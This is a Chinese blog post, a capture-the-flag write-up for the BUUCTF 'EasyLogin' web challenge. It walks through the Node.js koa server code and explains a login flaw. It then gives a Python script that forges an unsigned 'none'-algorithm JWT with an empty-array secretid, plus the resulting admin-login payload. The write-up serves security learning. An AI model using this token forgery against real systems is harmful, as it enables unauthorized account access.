BUUCTF WEB ESAYLOGIN

原创

显哥无敌 已于 2022-03-15 15:01:12 修改 4846 收藏

分类专栏： BUUCTF 文章标签： web安全

于 2022-03-15 11:21:22 首次发布

本文链接：https://blog.csdn.net/qq_41696858/article/details/123497996

登录注册首想二次注入，但是注册成功以后发现连个回显点都没有，所以这条路就断了

然后随便注册一个账号，有个getflag按钮，点击发现权限不够。这里就想到要伪造身份绕过了

审计注册页面源码，发现/static/js/app.js目录

看看，发现hint

```
/**
 *  或许该用 koa-static 来处理静态文件
 *  路径该怎么配置？不管了先填个根目录XD
 */
```

百度一下，看看koa是个啥，原来是个nodejs的web框架

```
function login() {
    const username = $("#username").val();
    const password = $("#password").val();
    const token = sessionStorage.getItem("token");
    $.post("/api/login", {username, password, authorization:token})
        .done(function(data) {
            const {status} = data;
            if(status) {
                document.location = "/home";
            }
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function register() {
    const username = $("#username").val();
    const password = $("#password").val();
    $.post("/api/register", {username, password})
        .done(function(data) {
            const { token } = data;
            sessionStorage.setItem('token', token);
            document.location = "/login";
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function logout() {
    $.get('/api/logout').done(function(data) {
        const {status} = data;
        if(status) {
            document.location = '/login';
        }
    });
}

function getflag() {
    $.get('/api/flag').done(function(data) {
        const {flag} = data;
        $("#username").val(flag);
    }).fail(function(xhr, textStatus, errorThrown) {
        alert(xhr.responseJSON.message);
    });
}
```

关注一下/api/register
百度一下koa的框架结构
https://www.cnblogs.com/wangjiahui/p/12660093.html
发现app.js负责路由逻辑，真正的处理逻辑在controllers文件夹里，这里前面的/api就有效了，mvc都一个样
盲猜是api.js里的register函数负责处理注册逻辑
查看controllers/api.js

```
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')
```

```
const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorizat
ion;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });
```

```
        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};
```

看来猜的不错，发现逻辑问题，注册的时候对用户名进行了过滤，不能是admin，但是登录的时候他只验证了一个jwt的token
那么这题就是一个JWT的构造
先抓个包看看TOKEN的结构，抓登录界面的包

```
username=zhaoxian&password=123&authorization=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MCwidXNlcm5hbWUiOiJ6aGFveGlhbiIsInBhc3N3b3JkIjoiMTIzIiwiaWF0IjoxNjQ3MzExOTM2fQ.camQaQa82cDkFC4KUPjOSrGndaNr_BvcaRqbzScROlE
```

上jwt.io网站上去解析一下
回显
{
“alg”: “HS256”,
“typ”: “JWT”
}
{
“secretid”: 0,
“username”: “zhaoxian”,
“password”: “123”,
“iat”: 1647311936
}
本来想着直接把username改了看看上不上的去，回显
{“code”:“internal_error”,“message”:“invalid signature”}，看来还是需要密钥的
先试试None攻击
写个python脚本

```
import jwt
token = jwt.encode(
{
  "secretid": [],
  "username": "admin",
  "password": "123",
  "iat": 1647311936
},
algorithm="none",key=""
)
print(token)
```

生成新token

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTY0NzMxMTkzNn0.
```

抓包再修改登陆成功

payload:

```
username=admin&password=123&authorization=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTY0NzMxMTkzNn0.
```

点击按钮即可

参考视频链接：https://www.bilibili.com/video/BV1MS4y1D7mb